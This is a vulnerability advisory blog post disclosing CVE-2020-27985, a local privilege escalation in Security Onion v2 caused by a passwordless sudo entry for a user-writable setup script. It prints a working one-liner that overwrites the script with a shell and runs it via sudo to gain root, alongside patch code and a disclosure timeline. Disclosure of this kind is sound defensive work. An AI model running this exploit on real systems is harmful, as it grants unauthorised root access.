20 NOVEMBER 2020 / CVE

CVE-2020-27985 - Security Onion - Local Privilege Escalation

Impact

Security Onion v2 (versions prior to 2.3.10) is vulnerable to a Local Privilege Escalation vulnerability when ISO install is used to install SO. An attacker gaining access to the user created during the initial setup of SO, can abuse an incorrect sudo configuration and escalate to root without supplying a password.

What is Security Onion

Security Onion is a free and open source Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes TheHive, Playbook and Sigma, Fleet and osquery, CyberChef, Elasticsearch, Logstash, Kibana, Suricata, Zeek, Wazuh, and many other security tools. Security Onion has been downloaded over 1 million times and is being used by security teams around the world to monitor and defend their enterprises.

Versions affected

- Security Onion prior to v2.3.10

Vulnerability

By default, the user created during the initial setup of SO can execute `so-setup` without supplying a password, as shown below:

```
testuser@TEST-IDS:/home/testuser$ sudo -l
User testuser may run the following commands on TEST-IDS:
    (ALL) ALL
    (ALL) NOPASSWD: /home/testuser/SecurityOnion/setup/so-setup
```

Since we have write access to this file, an attacker can prepend `/bin/bash` to `/home/<user>/SecurityOnion/setup/so-setup` or overwrite this file with custom code, and in turn escalate to root by executing `sudo so-setup`.

This can easily be achieved with a simple oneliner:

```
testuser@TEST-IDS:~$ echo -e '#!/bin/bash\n/bin/bash' > /home/testuser/SecurityOnion/setup/so-setup ; sudo /home/testuser/SecurityOnion/setup/so-s
root@TEST-IDS:/home/testuser# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
```

Patch

Since everything else in Security Onion requires a password, it makes no sense allowing `so-setup` to be executed without a password. After the most recent update (v2.3.10) the following steps were taken to remediate this vulnerability:

- For new installations starting with the 2.3.10 ISO image, setup will automatically remove the sudoers entry
- For existing installations upgrading to 2.3.10, soup will check for the existence of the sudoers entry and prompt the user to remove it

The following commit was pushed to the SO git repo and will remove the affected sudo privileges on new installs, starting from v2.3.10:

```
if [[ $install_type == 'iso' ]]; then
    info "Removing so-setup permission entry from sudoers file"
    sed -i '/so-setup/d' /etc/sudoers
fi
```

If you're upgrading from v2.3.2 you will be prompted to remove the affected sudo configuration, as shown below:

```
up_2.3.2_to_2.3.10() {
    if grep -q "so-setup" /etc/sudoers; then
        echo "[ INFO ] There is an entry for so-setup in the sudoers file, this can be safely deleted using \"visudo\"."
    fi
}
```

Timeline

- 10/28/2020 - Vulnerability discovered
- 10/28/2020 - Reached out to Security Onion Solutions (*security[at]securityonion.net*)
- 10/28/2020 - Received a response telling me they would look into the vulnerability
- 10/28/2020 - Received another response a few hours later telling me they recognize this as an issue
- 10/28/2020 - CVE requested and issued (*CVE-2020-27985*)

- 11/20/2020 - Patch released
- 11/20/2020 - Vulnerability publicly disclosed

References

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27985
- https://github.com/Security-Onion-Solutions/securityonion/issues/1701
- https://github.com/Security-Onion-Solutions/securityonion/commit/b14670030349a2747a00ace665568ab5f51ac47b

— ./s1gh.sh —
CVE

CVE-2020-13448 - QuickBox - Authenticated RCE/Privilege Escalation

1 post →

EXPLOITS

PDF + JavaScript = MFT Corruption?

By embedding specially crafted JS into a PDF, we can trigger a recently discovered vulnerability in the NTFS driver and potentially corrupt the MFT.

24 JANUARY 2021 6 MIN READ

DIY

Ho-Ho-Honeypot

The holiday season is nearly upon us and it's time to get into the christmas spirit. And what better way to do exactly that than to combine a christmas tree with cyber security?

15 NOVEMBER 2020 6 MIN READ